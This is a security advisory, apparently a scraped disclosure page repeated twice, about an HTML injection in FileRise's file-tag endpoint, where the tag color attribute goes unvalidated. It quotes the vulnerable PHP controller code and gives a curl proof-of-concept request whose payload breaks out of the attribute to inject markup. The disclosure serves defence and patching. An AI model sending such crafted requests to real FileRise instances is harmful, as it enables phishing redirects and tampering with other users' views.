Summary
An HTML Injection vulnerability allows an authenticated user to modify the DOM and add e.g. form elements that call certain endpoints or link elements that redirect the user on active interaction. Furthermore the possiblity of XSS using this vulnerability exists, but could not be verified.
Details
The color attribute of the submitted tag does not get verified. It gets extracted as it is and passed directly into the saveFileTag function of the FileModel.
|
$tags = $data['tags'] ?? []; |
|
$deleteGlobal = !empty($data['deleteGlobal']); |
|
$tagToDelete = isset($data['tagToDelete']) ? trim((string)$data['tagToDelete']) : null; |
|
|
|
if ($file === '' || !$this->_validFile($file)) { |
|
$this->_jsonOut(["error" => "Invalid file."], 400); |
|
return; |
|
} |
|
if (!$this->_validFolder($folder)) { |
|
$this->_jsonOut(["error" => "Invalid folder name."], 400); |
|
return; |
|
} |
|
|
|
$username = $_SESSION['username'] ?? ''; |
|
$userPermissions = $this->loadPerms($username); |
|
|
|
// Need write (or ancestor-owner) |
|
if (!(ACL::canWrite($username, $userPermissions, $folder) || $this->ownsFolderOrAncestor($folder, $username, $userPermissions))) { |
|
$this->_jsonOut(["error" => "Forbidden: no full write access"], 403); |
|
return; |
|
} |
|
|
|
// Folder scope: write |
|
$dv = $this->enforceFolderScope($folder, $username, $userPermissions, 'write'); |
|
if ($dv) { |
|
$this->_jsonOut(["error" => $dv], 403); |
|
return; |
|
} |
|
|
|
// Ownership unless admin/folder-owner |
|
$ignoreOwnership = $this->isAdmin($userPermissions) |
|
|| ($userPermissions['bypassOwnership'] ?? (defined('DEFAULT_BYPASS_OWNERSHIP') ? DEFAULT_BYPASS_OWNERSHIP : false)) |
|
|| ACL::isOwner($username, $userPermissions, $folder) |
|
|| $this->ownsFolderOrAncestor($folder, $username, $userPermissions); |
|
if (!$ignoreOwnership) { |
|
$meta = $this->loadFolderMetadata($folder); |
|
if (!isset($meta[$file]['uploader']) || strcasecmp((string)$meta[$file]['uploader'], $username) !== 0) { |
|
$this->_jsonOut(["error" => "Forbidden: you are not the owner of this file."], 403); |
|
return; |
|
} |
|
} |
|
|
|
$result = FileModel::saveFileTag($folder, $file, $tags, $deleteGlobal, $tagToDelete); |
|
$metadata[$file]['tags'] = $tags; |
So using a crafted request to the /api/file/saveFileTag.php endpoint, a tag with a malicious color attribute can be added.
PoC
The docker image with the default configuration was used.
- Log in as any user.
- Create a file or choose a file.
- Fill variables in PoC script.
- Execute.
- Visit location of the file in FileRise.
PoC Script
BASE_URL=localhost:8080
CSRF_TOKEN=
PHPSESSID=
FOLDER=test
FILE=script.js
curl -X POST -H 'Content-Type: application/json' -H "X-CSRF-Token: $CSRF_TOKEN" -b "PHPSESSID=$PHPSESSID" --data-raw '{"folder":"'"$FOLDER"'","file":"'"$FILE"'","tags":[{"name":"PWND","color":"red\"><h1>PWND</h1><div style=\""}]}' http://$BASE_URL/api/file/saveFileTag.php
Impact
An attacker could use this vulnerability to get the user to visit a phishing website, trigger certain GET and POST endpoints on active interaction, hide files in the frontend and make the folder unusable.
Acknowledgements / Credits
Thanks to Marcel Graf (AWARE7 GmbH) (@ByteTyson) for responsible disclosure and verification of the fix.
Summary
An HTML Injection vulnerability allows an authenticated user to modify the DOM and add e.g. form elements that call certain endpoints or link elements that redirect the user on active interaction. Furthermore the possiblity of XSS using this vulnerability exists, but could not be verified.
Details
The color attribute of the submitted tag does not get verified. It gets extracted as it is and passed directly into the saveFileTag function of the FileModel.
FileRise/src/controllers/FileController.php
Lines 4016 to 4058 in 7fee135
FileRise/src/models/FileModel.php
Line 3146 in 7fee135
So using a crafted request to the
/api/file/saveFileTag.phpendpoint, a tag with a malicious color attribute can be added.PoC
The docker image with the default configuration was used.
PoC Script
Impact
An attacker could use this vulnerability to get the user to visit a phishing website, trigger certain GET and POST endpoints on active interaction, hide files in the frontend and make the folder unusable.
Acknowledgements / Credits
Thanks to Marcel Graf (AWARE7 GmbH) (@ByteTyson) for responsible disclosure and verification of the fix.